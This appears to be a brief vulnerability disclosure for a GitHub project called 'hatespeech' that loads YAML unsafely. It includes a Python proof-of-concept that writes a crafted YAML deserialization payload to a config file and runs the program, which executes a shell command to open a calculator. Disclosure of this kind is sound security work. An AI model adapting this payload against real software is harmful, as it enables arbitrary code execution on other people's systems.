Description

Hate speech in Twitter , which is vulnerable to Arbitary Code Execution.

Vulnerability

Vulnerable to YAML deserialization attack caused by unsafe loading.

Proof of Concept

Installation

git clone https://github.com/pavelerokhin/hatespeech

Run exploit.py

import os

#os.system('git clone https://github.com/pavelerokhin/hatespeech')
os.chdir('hatespeech/')

payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""

open('cong.yml','w+').write(payload)
os.system('python3 main.py')

• python3 exploit.py

Impact

Arbitary Code Execution